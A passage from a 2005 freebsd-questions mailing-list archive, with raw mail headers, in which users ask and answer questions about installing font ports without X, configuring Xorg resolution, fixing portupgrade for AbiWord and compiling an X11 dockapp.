[206.190.37.55]) by mx1.FreeBSD.org (Postfix) with SMTP id 2F96F43D2D for ; Sun, 6 Feb 2005 05:00:46 +0000 (GMT) (envelope-from bg271828@yahoo.com) Received: (qmail 17811 invoked by uid 60001); 6 Feb 2005 05:00:45 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=z1H0pC6TWlBb7XkNyo/pyOape171w+jl7Mh39opLGpr43zXi6WqDIgEXzGeS1ouIDoYpRNLHnKWIHsczZR7junws/vsU+4vScVdDu3UzNuIYeaGzhzRi2a4SaNpP3vvUpmk6HLm8hnLrxymlWAnt3yHCGjBbgwOjPviblXlYcm8= ; Message-ID: <20050206050045.17809.qmail@web53408.mail.yahoo.com> Received: from [66.65.181.33] by web53408.mail.yahoo.com via HTTP; Sat, 05 Feb 2005 21:00:45 PST Date: Sat, 5 Feb 2005 21:00:45 -0800 (PST) From: Your Name To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Portinstalling fonts without X X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 05:00:46 -0000 i am trying to install some truetype font ports (bitstream-vera, xorg-fonts-truetype) onto a server that is not running X. i only want the fonts, so that they can be used by programs running on the server like to generate images in CGI scripts with particular fonts and stuff like that. When i use portinstall, it tries to install fontconfig and then it wants to suck down XFree86, even though i have WITHOUT_X11=true in /etc/make.conf. How can i just get the fonts without X, which i don't need? Thanks! Jen __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 05:42:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D7E3B16A4CE for ; Sun, 6 Feb 2005 05:42:34 +0000 (GMT) Received: from niobe.ijs.si (mail.ijs.si [193.2.4.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA6DB43D31 for ; Sun, 6 Feb 2005 05:42:33 +0000 (GMT) (envelope-from dejan.lesjak@ijs.si) Received: from localhost (localhost.ijs.si [127.0.0.1]) by niobe.ijs.si (Postfix) with ESMTP id AF81D1DD757; Sun, 6 Feb 2005 06:42:32 +0100 (CET) Received: from niobe.ijs.si ([127.0.0.1]) by localhost (niobe.ijs.si [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 87883-05; Sun, 6 Feb 2005 06:42:26 +0100 (CET) Received: from metatron.ijs.si (metatron.ijs.si [193.2.4.152]) by niobe.ijs.si (Postfix) with ESMTP id A820E1DD778; Sun, 6 Feb 2005 06:42:25 +0100 (CET) Received: from idefix.ijs.si (idefix.ijs.si [193.2.4.33]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by metatron.ijs.si (Postfix) with ESMTP id E039F1C00094; Sun, 6 Feb 2005 06:42:24 +0100 (CET) From: Dejan Lesjak To: Gary Kline Date: Sun, 6 Feb 2005 06:42:23 +0100 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502060642.23983.dejan.lesjak@ijs.si> X-Virus-Scanned: amavisd-new at ijs.si cc: freebsd-questions@freebsd.org Subject: Re: how to configure Xorg to run at 1280x1024 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 05:42:35 -0000 Gary Kline wrote: > People, > > One of my larger servers has 5.3 and Xorg; I can't find the > right configuration setting for the display; so it runs at > its maximum: 1600x1200. This would be fine except that the > apps shake with tiny wavy lines. The driver may be pushing > things to their limit. > > I've tried X -configure and Xorg -conf. Somehow or other > I've generated an xorg.conf in /etc/X11, but no luck in > changing the resolution. The closest I've come to having > things work with xorg.conf and startx is to see a blank/grey > screen--at 1600x1200. I have ctwm set up in /root and > /home/kline. > > Modifying the Screen Section messes things up for some > reason. I finally *do* have xorg working with /etc/X11/xorg.conf > but only with the following commented: Try putting something like this: Option "PreferredMode" "1280x1024" in Section "Monitor". What do you mean by "messes things up" with the modified Screen Section? Do you get errors? Do note that you can't have more than one Screen section with same Identifier string. Dejan From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 05:46:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B95C916A4CE for ; Sun, 6 Feb 2005 05:46:41 +0000 (GMT) Received: from out002.verizon.net (out002pub.verizon.net [206.46.170.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id AC31243D41 for ; Sun, 6 Feb 2005 05:46:40 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out002.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050206054639.ZWSQ26937.out002.verizon.net@ringworm.mechee.com> for ; Sat, 5 Feb 2005 23:46:39 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 8FF802CE745; Sat, 5 Feb 2005 21:42:39 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 21:42:38 -0800 User-Agent: KMail/1.7.2 References: <020620050403.20725.4205971A0000F1DE000050F522007481849D0A070E03A19FA1020E089B0E02@comcast.net> In-Reply-To: <020620050403.20725.4205971A0000F1DE000050F522007481849D0A070E03A19FA1020E089B0E02@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502052142.39080.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.26.84.7] at Sat, 5 Feb 2005 23:46:39 -0600 Subject: Re: Trying to get glib updated to run AbiWord-2.0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 05:46:41 -0000 On Saturday 05 February 2005 08:03 pm, nathan_p_maier@comcast.net wrote: > One of the major tasks of my computer is writing everything > about what I do on a word processor. I need AbiWOrd to work, I have > tried upgrading the dependencies with portupgrade but I can't get > glib to update. Here's the message from portupgrade. I've tried > pkg_add -f XXXX and that doesn't work. I stil get all the so,200s > instead of so.400s. Thanks, > Nathan > "AbiWord-2.0" > dhcppc2# portupgrade glib > [Updating the pkgdb in /var/db/pkg ... - 228 > packages found (-0 +2) .. done] Updating the ports index ... make: > don't know how to make index. Stop failed to generate INDEX! > index generation error > /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:482:in `open_db': > database file error (PortsDB::DBError) from > /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:634:in `port' from > /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:822:in > `all_depends_list' from > /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:915:in `tsort_build' from > /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:907:in `each' from > /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:907:in `tsort_build' from > /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:929:in `sort_build' from > /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:933:in `sort_build!' from > /usr/local/sbin/portupgrade:674:in `main' > from /usr/local/sbin/portupgrade:207:in `initialize' > from /usr/local/sbin/portupgrade:207:in `new' > from /usr/local/sbin/portupgrade:207:in `main' > from /usr/local/sbin/portupgrade:1845 Try to upgrade with sysutils/portmanager, it doesn't require ruby. -Mike From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:00:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9E21516A4CE for ; Sun, 6 Feb 2005 06:00:45 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6199E43D2F for ; Sun, 6 Feb 2005 06:00:45 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1CxfTQ-0005SG-6n for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 00:00:44 -0600 Message-ID: <4205B299.9080403@fusemail.com> Date: Sun, 06 Feb 2005 00:00:57 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:00:45 -0000 Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. When I type 'make', I get the following errors: n# make gcc -ggdb -Wall -O2 -c allin1.c allin1.c:32:22: X11/Xlib.h: No such file or directory In file included from allin1.c:34: dockhelper.h:86: error: syntax error before '*' token dockhelper.h:89: error: syntax error before "p" dockhelper.h:92: error: syntax error before '*' token dockhelper.h:95: error: syntax error before "src" dockhelper.h:98: error: syntax error before '*' token dockhelper.h:98: warning: type defaults to `int' in declaration of `dh_display' dockhelper.h:98: warning: data definition has no type or storage class In file included from allin1.c:37: cpu.h:54: error: syntax error before "Pixmap" allin1.c: In function `main': allin1.c:174: error: syntax error before "event" allin1.c:414: warning: implicit declaration of function `XPending' allin1.c:415: warning: implicit declaration of function `XNextEvent' allin1.c:415: error: `event' undeclared (first use in this function) allin1.c:415: error: (Each undeclared identifier is reported only once allin1.c:415: error: for each function it appears in.) allin1.c:417: error: `Expose' undeclared (first use in this function) allin1.c:418: warning: implicit declaration of function `XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' undeclared (first use in this function) allin1.c:422: warning: implicit declaration of function `XCloseDisplay' *** Error code 1 Stop in /usr/home/brian/allin1-0.5.0/src. Any clue how I can compile this? Thanks /Brian From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:03:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8616816A4CE for ; Sun, 6 Feb 2005 06:03:56 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id 145CA43D3F for ; Sun, 6 Feb 2005 06:03:56 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id 4E24F60EA; Sun, 6 Feb 2005 00:03:55 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 46975-03; Sun, 6 Feb 2005 00:03:52 -0600 (CST) Received: from [127.0.0.1] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 5F2A760E7; Sun, 6 Feb 2005 00:03:52 -0600 (CST) Message-ID: <4205B33F.20209@makeworld.com> Date: Sun, 06 Feb 2005 00:03:43 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Brian John References: <4205B299.9080403@fusemail.com> In-Reply-To: <4205B299.9080403@fusemail.com> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic cc: freebsd-questions@freebsd.org Subject: Re: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:03:56 -0000 Brian John wrote: > Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. > When I type 'make', I get the following errors: n# make gcc -ggdb > -Wall -O2 -c allin1.c allin1.c:32:22: X11/Xlib.h: No such file or > directory In file included from allin1.c:34: dockhelper.h:86: > error: syntax error before '*' token dockhelper.h:89: error: syntax > error before "p" dockhelper.h:92: error: syntax error before '*' > token dockhelper.h:95: error: syntax error before "src" > dockhelper.h:98: error: syntax error before '*' token > dockhelper.h:98: warning: type defaults to `int' in declaration of > `dh_display' dockhelper.h:98: warning: data definition has no type > or storage class In file included from allin1.c:37: cpu.h:54: > error: syntax error before "Pixmap" allin1.c: In function `main': > allin1.c:174: error: syntax error before "event" allin1.c:414: > warning: implicit declaration of function `XPending' allin1.c:415: > warning: implicit declaration of function `XNextEvent' > allin1.c:415: error: `event' undeclared (first use in this > function) allin1.c:415: error: (Each undeclared identifier is > reported only once allin1.c:415: error: for each function it > appears in.) allin1.c:417: error: `Expose' undeclared (first use in > this function) allin1.c:418: warning: implicit declaration of > function `XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' > undeclared (first use in this function) allin1.c:422: warning: > implicit declaration of function `XCloseDisplay' *** Error code 1 > > Stop in /usr/home/brian/allin1-0.5.0/src. > > > Any clue how I can compile this? > > Thanks > > /Brian Step 1: Learn C Step 2: If you don't want to learn C, use the ports tree. Step 3: If you don't use either option 1 or 2, pay someone that does. Step 4: Go back to Windows if above options are not possible. -- Best regards, Chris The label "new" and/or "improved" means the price went up. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:04:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D41216A4CE for ; Sun, 6 Feb 2005 06:04:46 +0000 (GMT) Received: from out007.verizon.net (out007pub.verizon.net [206.46.170.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id 91E2843D48 for ; Sun, 6 Feb 2005 06:04:45 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out007.verizon.net ESMTP <20050206060444.CHDZ11919.out007.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 00:04:44 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id BB0252CE745; Sat, 5 Feb 2005 22:00:44 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 22:00:44 -0800 User-Agent: KMail/1.7.2 References: <4205B299.9080403@fusemail.com> In-Reply-To: <4205B299.9080403@fusemail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502052200.44478.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out007.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 00:04:44 -0600 cc: Brian John Subject: Re: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:04:46 -0000 On Saturday 05 February 2005 10:00 pm, Brian John wrote: > Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. When > I type 'make', I get the following errors: > n# make > gcc -ggdb -Wall -O2 -c allin1.c > allin1.c:32:22: X11/Xlib.h: No such file or directory > In file included from allin1.c:34: > dockhelper.h:86: error: syntax error before '*' token > dockhelper.h:89: error: syntax error before "p" > dockhelper.h:92: error: syntax error before '*' token > dockhelper.h:95: error: syntax error before "src" > dockhelper.h:98: error: syntax error before '*' token > dockhelper.h:98: warning: type defaults to `int' in declaration of > `dh_display' > dockhelper.h:98: warning: data definition has no type or storage > class In file included from allin1.c:37: > cpu.h:54: error: syntax error before "Pixmap" > allin1.c: In function `main': > allin1.c:174: error: syntax error before "event" > allin1.c:414: warning: implicit declaration of function `XPending' > allin1.c:415: warning: implicit declaration of function `XNextEvent' > allin1.c:415: error: `event' undeclared (first use in this function) > allin1.c:415: error: (Each undeclared identifier is reported only > once allin1.c:415: error: for each function it appears in.) > allin1.c:417: error: `Expose' undeclared (first use in this function) > allin1.c:418: warning: implicit declaration of function > `XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' undeclared > (first use in this function) allin1.c:422: warning: implicit > declaration of function `XCloseDisplay' *** Error code 1 > > Stop in /usr/home/brian/allin1-0.5.0/src. > > > Any clue how I can compile this? > > Thanks > > /Brian I'm assuming this is not a port. Try ./configure --prefix=/usr/local then make -Mike From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:07:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BB2C316A4CE for ; Sun, 6 Feb 2005 06:07:07 +0000 (GMT) Received: from out010.verizon.net (out010pub.verizon.net [206.46.170.133]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3293443D3F for ; Sun, 6 Feb 2005 06:07:07 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out010.verizon.net ESMTP <20050206060706.ZFAU25879.out010.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 00:07:06 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 6DA6C2CE745; Sat, 5 Feb 2005 22:03:06 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org User-Agent: KMail/1.7.2 References: <4205B299.9080403@fusemail.com> In-Reply-To: <4205B299.9080403@fusemail.com> MIME-Version: 1.0 Content-Disposition: inline Date: Sat, 5 Feb 2005 22:03:05 -0800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502052203.06122.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out010.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 00:07:06 -0600 cc: Brian John Subject: Re: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:07:07 -0000 On Saturday 05 February 2005 10:00 pm, Brian John wrote: > Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. When > I type 'make', I get the following errors: > n# make > gcc -ggdb -Wall -O2 -c allin1.c > allin1.c:32:22: X11/Xlib.h: No such file or directory > In file included from allin1.c:34: > dockhelper.h:86: error: syntax error before '*' token > dockhelper.h:89: error: syntax error before "p" > dockhelper.h:92: error: syntax error before '*' token > dockhelper.h:95: error: syntax error before "src" > dockhelper.h:98: error: syntax error before '*' token > dockhelper.h:98: warning: type defaults to `int' in declaration of > `dh_display' > dockhelper.h:98: warning: data definition has no type or storage > class In file included from allin1.c:37: > cpu.h:54: error: syntax error before "Pixmap" > allin1.c: In function `main': > allin1.c:174: error: syntax error before "event" > allin1.c:414: warning: implicit declaration of function `XPending' > allin1.c:415: warning: implicit declaration of function `XNextEvent' > allin1.c:415: error: `event' undeclared (first use in this function) > allin1.c:415: error: (Each undeclared identifier is reported only > once allin1.c:415: error: for each function it appears in.) > allin1.c:417: error: `Expose' undeclared (first use in this function) > allin1.c:418: warning: implicit declaration of function > `XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' undeclared > (first use in this function) allin1.c:422: warning: implicit > declaration of function `XCloseDisplay' *** Error code 1 > > Stop in /usr/home/brian/allin1-0.5.0/src. > > > Any clue how I can compile this? > > Thanks > > /Brian I'm assuming this is not a port. Try ./configure --prefix=/usr/local then make -Mike CORRECTION ./configure --prefix=/usr/X11R6 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:24:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F47D16A4CE for ; Sun, 6 Feb 2005 06:24:25 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id EED3A43D1F for ; Sun, 6 Feb 2005 06:24:24 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1CxfqJ-0001dy-VT; Sun, 06 Feb 2005 00:24:24 -0600 Message-ID: <4205B82A.1070702@fusemail.com> Date: Sun, 06 Feb 2005 00:24:42 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Michael C. Shultz" References: <4205B299.9080403@fusemail.com> <200502052203.06122.reso3w83@verizon.net> In-Reply-To: <200502052203.06122.reso3w83@verizon.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:24:25 -0000 Michael C. Shultz wrote: >On Saturday 05 February 2005 10:00 pm, Brian John wrote: > > >>Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. When >>I type 'make', I get the following errors: >>n# make >>gcc -ggdb -Wall -O2 -c allin1.c >>allin1.c:32:22: X11/Xlib.h: No such file or directory >>In file included from allin1.c:34: >>dockhelper.h:86: error: syntax error before '*' token >>dockhelper.h:89: error: syntax error before "p" >>dockhelper.h:92: error: syntax error before '*' token >>dockhelper.h:95: error: syntax error before "src" >>dockhelper.h:98: error: syntax error before '*' token >>dockhelper.h:98: warning: type defaults to `int' in declaration of >>`dh_display' >>dockhelper.h:98: warning: data definition has no type or storage >>class In file included from allin1.c:37: >>cpu.h:54: error: syntax error before "Pixmap" >>allin1.c: In function `main': >>allin1.c:174: error: syntax error before "event" >>allin1.c:414: warning: implicit declaration of function `XPending' >>allin1.c:415: warning: implicit declaration of function `XNextEvent' >>allin1.c:415: error: `event' undeclared (first use in this function) >>allin1.c:415: error: (Each undeclared identifier is reported only >>once allin1.c:415: error: for each function it appears in.) >>allin1.c:417: error: `Expose' undeclared (first use in this function) >>allin1.c:418: warning: implicit declaration of function >>`XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' undeclared >>(first use in this function) allin1.c:422: warning: implicit >>declaration of function `XCloseDisplay' *** Error code 1 >> >>Stop in /usr/home/brian/allin1-0.5.0/src. >> >> >>Any clue how I can compile this? >> >>Thanks >> >>/Brian >> >> > >I'm assuming this is not a port. Try >./configure --prefix=/usr/local >then make > >-Mike > >CORRECTION >./configure --prefix=/usr/X11R6 >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > > When I type that I get: # ./configure --prefix=/usr/X11R6 su: ./configure: No such file or directory Any more ideas? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:43:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 127BC16A4CE for ; Sun, 6 Feb 2005 06:43:18 +0000 (GMT) Received: from out011.verizon.net (out011pub.verizon.net [206.46.170.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7033E43D2D for ; Sun, 6 Feb 2005 06:43:17 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out011.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050206064316.CFQG28171.out011.verizon.net@ringworm.mechee.com> for ; Sun, 6 Feb 2005 00:43:16 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 8DA612CE745; Sat, 5 Feb 2005 22:39:16 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 22:39:15 -0800 User-Agent: KMail/1.7.2 References: <4205B299.9080403@fusemail.com> <200502052203.06122.reso3w83@verizon.net> <4205B82A.1070702@fusemail.com> In-Reply-To: <4205B82A.1070702@fusemail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502052239.16192.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 00:43:16 -0600 Subject: Re: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:43:18 -0000 On Saturday 05 February 2005 10:24 pm, Brian John wrote: > Michael C. Shultz wrote: > >On Saturday 05 February 2005 10:00 pm, Brian John wrote: > >>Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. > >> When I type 'make', I get the following errors: > >>n# make > >>gcc -ggdb -Wall -O2 -c allin1.c > >>allin1.c:32:22: X11/Xlib.h: No such file or directory > >>In file included from allin1.c:34: > >>dockhelper.h:86: error: syntax error before '*' token > >>dockhelper.h:89: error: syntax error before "p" > >>dockhelper.h:92: error: syntax error before '*' token > >>dockhelper.h:95: error: syntax error before "src" > >>dockhelper.h:98: error: syntax error before '*' token > >>dockhelper.h:98: warning: type defaults to `int' in declaration of > >>`dh_display' > >>dockhelper.h:98: warning: data definition has no type or storage > >>class In file included from allin1.c:37: > >>cpu.h:54: error: syntax error before "Pixmap" > >>allin1.c: In function `main': > >>allin1.c:174: error: syntax error before "event" > >>allin1.c:414: warning: implicit declaration of function `XPending' > >>allin1.c:415: warning: implicit declaration of function > >> `XNextEvent' allin1.c:415: error: `event' undeclared (first use in > >> this function) allin1.c:415: error: (Each undeclared identifier is > >> reported only once allin1.c:415: error: for each function it > >> appears in.) allin1.c:417: error: `Expose' undeclared (first use > >> in this function) allin1.c:418: warning: implicit declaration of > >> function > >>`XCheckTypedEvent' allin1.c:421: error: `DestroyNotify' undeclared > >>(first use in this function) allin1.c:422: warning: implicit > >>declaration of function `XCloseDisplay' *** Error code 1 > >> > >>Stop in /usr/home/brian/allin1-0.5.0/src. > >> > >> > >>Any clue how I can compile this? > >> > >>Thanks > >> > >>/Brian > > > >I'm assuming this is not a port. Try > >./configure --prefix=/usr/local > >then make > > > >-Mike > > > >CORRECTION > >./configure --prefix=/usr/X11R6 > >_______________________________________________ > >freebsd-questions@freebsd.org mailing list > >http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > When I type that I get: > # ./configure --prefix=/usr/X11R6 > su: ./configure: No such file or directory > > Any more ideas? try gcc -ggdb -Wall -O2 -c allin1.c -I /usr/X11R6/include of coarse the next error you are going to get is the libraries can't be found -Mike From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:46:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E8C116A4CE for ; Sun, 6 Feb 2005 06:46:30 +0000 (GMT) Received: from smtp-1.concepts.nl (smtp-1.concepts.nl [213.197.30.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0A5B243D31 for ; Sun, 6 Feb 2005 06:46:30 +0000 (GMT) (envelope-from pharmsen@horizon.nl) Received: from [213.148.226.169] (helo=alcatraz.concepts.nl) by smtp-1.concepts.nl with smtp (Exim 4.42) id 1CxgDd-0001jJ-R5 for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 07:48:31 +0100 Date: Sun, 6 Feb 2005 08:46:08 +0100 From: Peter Harmsen To: freebsd-questions@freebsd.org Message-ID: <20050206084608.427cb411@alcatraz.concepts.nl> In-Reply-To: <20050205012855.65307.qmail@web54002.mail.yahoo.com> References: <4204127D.3070203@cis.strath.ac.uk> <20050205012855.65307.qmail@web54002.mail.yahoo.com> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: /usr/ports/multimedia/mplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:46:30 -0000 On Fri, 4 Feb 2005 17:28:55 -0800 (PST) Rob wrote: > > --- Chris Hodgins wrote: > > 